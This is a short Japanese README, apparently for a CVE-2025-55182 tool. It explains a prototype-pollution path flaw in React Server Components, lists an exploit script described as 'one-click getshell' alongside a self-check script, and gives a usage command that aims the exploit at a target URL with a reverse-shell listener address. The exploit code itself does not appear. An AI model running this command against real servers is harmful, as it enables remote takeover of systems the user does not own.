CVE-2025-55182 RCE

個人用チェックツールです。CVE-2025-55182の脆弱性をチェックするために使用します。

脆弱性の原理

React Server Components は、サーバー関数エンドポイントに送信されたペイロードをデコードする際に、パス解決の欠陥が存在します。コロンでオブジェクトのプロパティを区切ることでネストした値の取得を実現します（例: $1🅰️b は {"a":{"b":"foo"}}.a.b に対応）が、プロパティの存在性の検証は行われません。$1🅰️a が渡されると、{}.a.a の無効な値の取得がトリガーされ、サーバー側で 500 エラーが発生します。一方、攻撃者は特別なペイロードを構築し、プロトタイプ汚染とコードインジェクションを利用して RCE を達成できます。

ディレクトリ構成

• exp.py 脆弱性を悪用するコード（ワンクリックでgetshell）
• cve-2025-55182-check.sh ホストの脆弱性セルフチェックツール

使用方法

python3 exp.py -t http://127.0.0.1:8080/ -a 127.0.0.1:4444

セルフチェック方法

CVE-2025-55182-Check.sh [-h] [-f <path>] [-a]

免責事項

本ツールはセキュリティ研究のみを目的としており、不正な用途には使用しないでください。